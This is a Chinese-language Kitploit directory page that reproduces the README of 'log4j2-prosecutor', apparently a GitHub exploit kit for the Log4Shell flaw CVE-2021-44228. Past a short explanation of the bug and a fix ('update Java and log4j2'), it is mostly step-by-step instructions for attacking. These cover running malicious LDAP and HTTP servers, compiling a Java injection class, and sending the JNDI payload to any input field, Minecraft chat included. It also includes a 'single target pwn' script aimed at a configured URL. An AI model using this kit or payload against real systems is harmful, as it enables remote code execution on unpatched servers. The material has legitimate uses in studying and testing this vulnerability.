Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4j2-prosecutor — CVE-2021-44228 | Kitploit
工具/GitHubGitHub/rodfer0x80/log4j2-prosecutor
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubrodfer0x80/log4j2-prosecutor

log4j2-prosecutor

CVE-2021-44228

查看仓库
4年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

log4j2-prosecutor

动机

这个基础漏洞由 [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) 报告,并由 [这篇文章(8u121 版本说明)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) 修复。

然而,名为 log4j2 的 Java 日志库存在 (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java),它允许访问 LDAP 等协议,从而在旧版 Java 中允许代码注入。

已打补丁的 Java 版本可以防止代码注入,但 `JNDILookup` 会向 ldap 服务器发起请求,从而导致 IP 泄露。

解决方案是更新 **Java** 和 **log4j2** 版本。

运行

  1. 安装依赖
root@kitploit:~
cd http-server && npm install && cd ../ldap-server && npm install
  1. 同时运行 http-server 和 ldap-server
root@kitploit:~
cd http-server && node index.js &
cd ldap-server && node index.js
  1. 编译 Main.java
root@kitploit:~
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>
  1. 使用参数启动 JVM
root@kitploit:~
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
  1. 将以下内容作为 payload 发送到任意参数 (在 Minecraft 中,如果漏洞利用有效,只需聊天即可。)
root@kitploit:~
${jndi:ldap://127.0.0.1:3001/}
  1. 清理
root@kitploit:~
NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done

脚本

root@kitploit:~
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py

参考

  • https://github.com/apache/logging-log4j2/pull/608
  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/NCSC-NL/log4shell
  • https://github.com/ilsubyeega/log4j2-exploits/
  • https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
  • https://www.blumira.com/analysis-log4shell-local-trigger/ (待办)

许可证 [GPL3]

许可证见 LICENSE。

下载工具